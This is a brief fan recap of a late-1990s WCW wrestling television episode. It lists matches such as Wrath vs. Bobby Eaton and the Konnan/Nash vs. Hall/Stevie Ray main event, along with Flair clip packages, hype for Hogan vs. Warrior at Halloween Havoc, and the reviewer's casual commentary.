Wrath vs. Bobby Eaton
The announcers talk about Hogan vs. Warrior at Halloween Havoc and how amazing it will be. Man it must be hard to keep a straight face at times.
Mike Enos vs. Lenny Lane
Buff and Scott Steiner come to the ring with Gene yelling at the two of them for what they did at Fall Brawl. Both guys laugh at Okerlund and Buff brags about the size of his arms. They fight again at Halloween Havoc and Buff will be barred from ringside. Buff has another idea.
We look at Jericho bringing out the fake Goldberg and beating him at Fall Brawl.
We get some classic Flair clips with him beating up some jobbers. This is the most entertaining part of ths show.
Vincent vs. Steve Armstrong
Rick Fuller vs. Ernest Miller
More Flair clips, including him talking in the 80s and returning in 1993.
Curt Hennig vs. Norman Smiley
Hall and Stevie Ray come out for the main event and the survey with the NWO dominating the response.
Konnan/Kevin Nash vs. Stevie Ray/Scott Hall
We look back at Flair returning on Monday. My goodness that was amazing.
